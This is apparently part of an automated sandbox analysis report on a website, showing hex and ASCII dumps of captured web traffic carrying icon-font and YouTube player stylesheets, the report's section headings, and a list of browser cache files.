2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 64 6a 75 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 32 22 7d 2e 66 61 2d 61 64 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 30 22 7d 2e 66 61 2d 61 64 76 65 72 73 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 61 22 7d 2e 66 61 2d 61 66 66 69 6c 69 61 74 65 74 68 65 6d 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 62 22 7d 2e 66 61 2d 61 6c 67 6f 6c 69 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 63 22 7d 2e 66 61 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 37 22 7d 2e 66 61 2d 61 6c 69 67 6e 2d 6a 75 73 74 69 66 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 39 22 7d 2e Data Ascii: djust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 66 33 35 61 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 61 6c 74 2d 63 69 72 63 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 35 62 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 62 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 38 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 61 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 Data Ascii: f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{c
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 66 61 2d 62 65 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 63 22 7d 2e 66 61 2d 62 65 68 61 6e 63 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 34 22 7d 2e 66 61 2d 62 65 68 61 6e 63 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 35 22 7d 2e 66 61 2d 62 65 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 33 22 7d 2e 66 61 2d 62 65 6c 6c 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 36 22 7d 2e 66 61 2d 62 69 63 79 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 36 22 7d 2e 66 61 2d 62 69 6d 6f 62 6a 65 63 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 38 22 7d 2e 66 61 2d 62 Data Ascii: fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bicycle:before{content:"\f206"}.fa-bimobject:before{content:"\f378"}.fa-b
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 61 6c 65 6e 64 61 72 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 32 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 70 6c 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 31 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 74 69 6d 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 33 22 7d 2e 66 61 2d 63 61 6d 65 72 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 30 22 7d 2e 66 61 2d 63 61 6d 65 72 61 2d 72 65 74 72 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 33 22 7d 2e 66 61 2d 63 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 39 22 7d 2e 66 61 2d 63 61 72 65 74 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a Data Ascii: alendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-times:before{content:"\f273"}.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"}.fa-car:before{content:"\f1b9"}.fa-caret-down:before{content:
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 76 72 6f 6e 2d 63 69 72 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 33 37 22 7d 2e 66 61 2d 63 68 65 76 72 6f 6e 2d 63 69 72 63 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 33 38 22 7d 2e 66 61 2d 63 68 65 76 72 6f 6e 2d 63 69 72 63 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 33 39 22 7d 2e 66 61 2d 63 68 65 76 72 6f 6e 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 38 22 7d 2e 66 61 2d 63 68 65 76 72 6f 6e 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 35 33 22 7d 2e 66 61 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 35 34 22 7d 2e Data Ascii: vron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-down:before{content:"\f078"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 6e 74 65 6e 74 3a 22 5c 66 30 63 35 22 7d 2e 66 61 2d 63 6f 70 79 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 39 22 7d 2e 66 61 2d 63 70 61 6e 65 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 38 38 22 7d 2e 66 61 2d 63 72 65 61 74 69 76 65 2d 63 6f 6d 6d 6f 6e 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 35 65 22 7d 2e 66 61 2d 63 72 65 64 69 74 2d 63 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 64 22 7d 2e 66 61 2d 63 72 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 32 35 22 7d 2e 66 61 2d 63 72 6f 73 73 68 61 69 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 35 62 22 7d 2e 66 61 2d 63 73 73 33 3a 62 65 66 6f 72 65 7b 63 Data Ascii: ntent:"\f0c5"}.fa-copyright:before{content:"\f1f9"}.fa-cpanel:before{content:"\f388"}.fa-creative-commons:before{content:"\f25e"}.fa-credit-card:before{content:"\f09d"}.fa-crop:before{content:"\f125"}.fa-crosshairs:before{content:"\f05b"}.fa-css3:before{c
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 39 61 22 7d 2e 66 61 2d 65 64 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 38 32 22 7d 2e 66 61 2d 65 64 69 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 34 22 7d 2e 66 61 2d 65 6a 65 63 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 35 32 22 7d 2e 66 61 2d 65 6c 6c 69 70 73 69 73 2d 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 31 22 7d 2e 66 61 2d 65 6c 6c 69 70 73 69 73 2d 76 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 32 22 7d 2e 66 61 2d 65 6d 62 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 32 33 22 7d 2e 66 61 2d 65 6d 70 69 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 64 Data Ascii: e{content:"\f39a"}.fa-edge:before{content:"\f282"}.fa-edit:before{content:"\f044"}.fa-eject:before{content:"\f052"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-ember:before{content:"\f423"}.fa-empire:before{content:"\f1d

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:30 UTC	880	OUT	GET /s/player/6b3caec8/www-player.css HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembed Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
2025-03-17 12:02:30 UTC	680	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 425104 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 17 Mar 2025 09:54:38 GMT Expires: Tue, 17 Mar 2026 09:54:38 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Mar 2025 04:20:42 GMT Content-Type: text/css Vary: Accept-Encoding, Origin Age: 7672 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-17 12:02:30 UTC	710	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 68 74 6d 6c 35 2d 76 69 64 65 6f 2d 70 6c 61 79 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 7a 2d 69 6e 64 65 78 3a 30 3b 6f 75 74 6c 69 6e 65 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 59 6f 75 54 75 62 65 20 4e 6f 74 6f 22 2c 52 6f 62 6f 74 6f 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 65 65 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 3b 2d 77 65 62 6b 69 74 2d Data Ascii: @charset "UTF-8";.html5-video-player{position:relative;width:100%;height:100%;overflow:hidden;z-index:0;outline:0;font-family:"YouTube Noto",Roboto,Arial,Helvetica,sans-serif;color:#eee;text-align:left;direction:ltr;font-size:11px;line-height:1.3;-webkit-
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 2d 61 64 2d 70 72 69 6d 61 72 79 2d 76 69 64 65 6f 2d 72 65 6e 64 65 72 65 72 20 2e 68 74 6d 6c 35 2d 76 69 64 65 6f 2d 70 6c 61 79 65 72 2e 75 6e 73 74 61 72 74 65 64 2d 6d 6f 64 65 2c 2e 79 74 64 2d 76 69 64 65 6f 2d 6d 61 73 74 68 65 61 64 2d 61 64 2d 70 72 69 6d 61 72 79 2d 76 69 64 65 6f 2d 72 65 6e 64 65 72 65 72 20 2e 68 74 6d 6c 35 2d 76 69 64 65 6f 2d 70 6c 61 79 65 72 2e 61 64 2d 73 68 6f 77 69 6e 67 2c 2e 79 74 64 2d 76 69 64 65 6f 2d 6d 61 73 74 68 65 61 64 2d 61 64 2d 70 72 69 6d 61 72 79 2d 76 69 64 65 6f 2d 72 65 6e 64 65 72 65 72 20 2e 68 74 6d 6c 35 2d 76 69 64 65 6f 2d 70 6c 61 79 65 72 2e 65 6e 64 65 64 2d 6d 6f 64 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 79 74 70 2d 62 69 67 2d 6d Data Ascii: -ad-primary-video-renderer .html5-video-player.unstarted-mode,.ytd-video-masthead-ad-primary-video-renderer .html5-video-player.ad-showing,.ytd-video-masthead-ad-primary-video-renderer .html5-video-player.ended-mode{background-color:transparent}.ytp-big-m
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 68 74 6d 6c 35 2d 6d 61 69 6e 2d 76 69 64 65 6f 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 75 74 6c 69 6e 65 3a 30 7d 2e 79 74 70 2d 66 69 74 2d 63 6f 76 65 72 2d 76 69 64 65 6f 20 2e 68 74 6d 6c 35 2d 6d 61 69 6e 2d 76 69 64 65 6f 7b 2d 6f 2d 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 76 65 72 3b 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 76 65 72 7d 2e 68 74 6d 6c 35 2d 6d 61 69 6e 2d 76 69 64 65 6f 5b 64 61 74 61 2d 6e 6f 2d 66 75 6c 6c 73 63 72 65 65 6e 3d 74 72 75 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 6d 65 64 69 61 2d 63 6f 6e 74 72 6f 6c 73 2d 66 75 6c 6c 73 63 72 65 65 6e Data Ascii: tainer{display:none}.html5-main-video{position:absolute;top:0;left:0;width:100%;height:100%;outline:0}.ytp-fit-cover-video .html5-main-video{-o-object-fit:cover;object-fit:cover}.html5-main-video[data-no-fullscreen=true]::-webkit-media-controls-fullscreen
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 65 78 74 29 7b 74 6f 70 3a 38 39 70 78 7d 2e 79 74 70 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 65 6e 74 2e 79 74 70 2d 69 76 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 65 6e 74 2c 2e 79 74 70 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 65 6e 74 2e 79 74 70 2d 74 69 6d 65 6c 79 2d 61 63 74 69 6f 6e 73 2d 63 6f 6e 74 65 6e 74 7b 6c 65 66 74 3a 31 32 70 78 3b 72 69 67 68 74 3a 31 32 70 78 7d 2e 79 74 70 2d 62 72 61 6e 64 69 6e 67 2d 73 68 6f 77 6e 20 2e 79 74 70 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 65 6e 74 2e 79 74 70 2d 74 69 6d 65 6c 79 2d 61 63 74 69 6f 6e 73 2d 63 6f 6e 74 65 6e 74 7b 72 69 67 68 74 3a 63 61 6c 63 28 32 32 70 78 20 2b 20 76 61 72 28 2d 2d 62 72 61 6e 64 69 6e 67 2d 69 6d 61 67 65 2d 77 69 64 74 68 29 29 7d 2e 79 74 70 2d 62 69 67 2d 6d 6f 64 65 20 2e 79 74 Data Ascii: ext){top:89px}.ytp-player-content.ytp-iv-player-content,.ytp-player-content.ytp-timely-actions-content{left:12px;right:12px}.ytp-branding-shown .ytp-player-content.ytp-timely-actions-content{right:calc(22px + var(--branding-image-width))}.ytp-big-mode .yt
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 2d 65 6e 61 62 6c 65 20 2e 79 74 70 2d 74 69 6d 65 6c 79 2d 61 63 74 69 6f 6e 73 2d 6f 76 65 72 6c 61 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 79 74 70 2d 61 64 2d 6f 76 65 72 6c 61 79 2d 6f 70 65 6e 20 2e 79 74 70 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 65 6e 74 7b 62 6f 74 74 6f 6d 3a 31 35 31 70 78 7d 2e 79 74 70 2d 73 6d 61 6c 6c 2d 6d 6f 64 65 2e 79 74 70 2d 61 64 2d 6f 76 65 72 6c 61 79 2d 6f 70 65 6e 20 2e 79 74 70 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 65 6e 74 7b 62 6f 74 74 6f 6d 3a 31 33 39 70 78 7d 2e 79 74 70 2d 65 6d 62 65 64 2e 79 74 70 2d 61 64 2d 6f 76 65 72 6c 61 79 2d 6f 70 65 6e 20 2e 79 74 70 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 65 6e 74 7b 62 6f 74 74 6f 6d 3a 31 34 33 70 78 7d 2e 79 74 70 2d 62 69 67 2d 6d 6f 64 65 2e 79 74 70 2d 61 Data Ascii: -enable .ytp-timely-actions-overlay{display:none}.ytp-ad-overlay-open .ytp-player-content{bottom:151px}.ytp-small-mode.ytp-ad-overlay-open .ytp-player-content{bottom:139px}.ytp-embed.ytp-ad-overlay-open .ytp-player-content{bottom:143px}.ytp-big-mode.ytp-a
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 78 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 3b 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 65 6e 64 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 65 66 74 3a 31 32 70 78 3b 72 69 67 68 74 3a 31 32 70 78 3b 74 6f 70 3a 30 3b 7a 2d 69 6e 64 65 78 3a 35 38 7d 2e 79 74 70 2d 73 68 6f 72 74 73 2d 6d 6f 64 65 20 2e 79 74 70 2d 63 68 72 6f 6d 65 2d 74 6f 70 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 Data Ascii: x;-webkit-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-pack:end;-webkit-justify-content:flex-end;justify-content:flex-end;left:12px;right:12px;top:0;z-index:58}.ytp-shorts-mode .ytp-chrome-top{-webkit-box-orient:vertical;-webkit-box-direction:normal;-web
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 2c 31 2c 31 29 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 31 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 34 2c 30 2c 31 2c 31 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 79 74 70 2d 63 68 72 6f 6d 65 2d 63 6f 6e 74 72 6f 6c 73 20 2e 79 74 70 2d 62 75 74 74 6f 6e 2e 79 74 70 2d 6d 75 74 65 2d 62 75 74 74 6f 6e 7b 70 61 64 64 69 6e 67 3a 36 70 78 7d 2e 79 74 70 2d 63 68 72 6f 6d 65 2d 63 6f 6e 74 72 6f 6c 73 20 2e 79 74 70 2d 62 75 74 74 6f 6e 2e 79 74 70 2d 6e 65 78 74 2d 62 75 74 74 6f 6e 7b 70 61 64 64 69 6e 67 3a 30 7d 2e 79 74 70 2d 63 68 72 6f 6d 65 2d 63 6f 6e 74 72 6f 6c 73 20 2e 79 74 70 2d 62 75 74 74 6f 6e 2e 79 74 70 2d 6d 69 6e 69 70 6c 61 79 65 72 2d 62 75 74 74 6f 6e 2c 2e 79 74 70 2d 63 68 72 6f 6d 65 2d Data Ascii: ,1,1);transition:opacity .1s cubic-bezier(.4,0,1,1);overflow:hidden}.ytp-chrome-controls .ytp-button.ytp-mute-button{padding:6px}.ytp-chrome-controls .ytp-button.ytp-next-button{padding:0}.ytp-chrome-controls .ytp-button.ytp-miniplayer-button,.ytp-chrome-
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 2c 38 30 2c 38 30 2c 2e 36 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 6c 75 6d 69 6e 6f 73 69 74 79 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 64 72 6f 70 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 36 70 78 29 3b 62 61 63 6b 64 72 6f 70 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 36 70 78 29 7d 2e 79 74 70 2d 64 65 6c 68 69 2d 6d 6f 64 65 72 6e 2d 77 69 74 68 2d 64 69 66 66 65 72 65 6e 63 65 2e 79 74 70 2d 64 65 6c 68 69 2d 6d 6f 64 65 72 6e 20 2e 79 74 70 2d 63 68 72 6f 6d 65 2d 63 6f 6e 74 72 6f 6c 73 20 2e 79 74 70 2d 6e 65 78 74 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 79 74 70 2d 6d 69 6e 69 70 6c 61 79 65 72 2d 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 3e 2a 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 38 30 2c 38 30 Data Ascii: ,80,80,.6);background-blend-mode:luminosity;-webkit-backdrop-filter:blur(16px);backdrop-filter:blur(16px)}.ytp-delhi-modern-with-difference.ytp-delhi-modern .ytp-chrome-controls .ytp-next-button:not(ytp-miniplayer-button-container>*){background:rgba(80,80
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 6f 6c 75 74 65 3b 74 6f 70 3a 35 70 78 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 2d 31 32 70 78 7d 2e 79 74 70 2d 64 65 6c 68 69 2d 6d 6f 64 65 72 6e 20 2e 79 74 70 2d 70 72 65 76 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 79 74 70 2d 6d 69 6e 69 70 6c 61 79 65 72 2d 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 3e 2a 29 7b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 64 72 6f 70 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 36 70 78 29 3b 62 61 63 6b 64 72 6f 70 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 31 36 70 78 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 79 74 2d 73 70 65 63 2d 73 74 61 74 69 63 2d 6f 76 65 72 6c 61 79 2d 61 64 64 69 74 69 76 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 72 67 62 61 28 34 30 2c 34 30 2c 34 30 2c 2e 36 29 29 3b 68 65 69 67 68 74 Data Ascii: olute;top:5px;bottom:0;left:-12px}.ytp-delhi-modern .ytp-prev-button:not(ytp-miniplayer-button-container>*){-webkit-backdrop-filter:blur(16px);backdrop-filter:blur(16px);background:var(--yt-spec-static-overlay-additive-background,rgba(40,40,40,.6));height
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 6e 3a 6e 6f 74 28 5b 61 72 69 61 2d 64 69 73 61 62 6c 65 64 3d 74 72 75 65 5d 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 2c 2e 79 74 70 2d 63 68 72 6f 6d 65 2d 63 6f 6e 74 72 6f 6c 73 20 2e 79 74 70 2d 62 75 74 74 6f 6e 5b 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 74 72 75 65 5d 2c 2e 79 74 70 2d 63 68 72 6f 6d 65 2d 63 6f 6e 74 72 6f 6c 73 20 2e 79 74 70 2d 62 75 74 74 6f 6e 5b 61 72 69 61 2d 70 72 65 73 73 65 64 3d 74 72 75 65 5d 2c 2e 79 74 70 2d 72 65 70 6c 61 79 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 31 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 2c 31 29 3b 74 72 61 6e 73 69 74 69 6f 6e 3a Data Ascii: n:not([aria-disabled=true]):not([disabled]):hover,.ytp-chrome-controls .ytp-button[aria-expanded=true],.ytp-chrome-controls .ytp-button[aria-pressed=true],.ytp-replay-button:hover{opacity:1;-webkit-transition:opacity .1s cubic-bezier(0,0,.2,1);transition:

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://www.teubes.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\NIH_OM_Logo_2Color[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\cheeseburger_menu[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\css2[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\details.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\jquery.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nowrap.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\system-status-counter[1].css

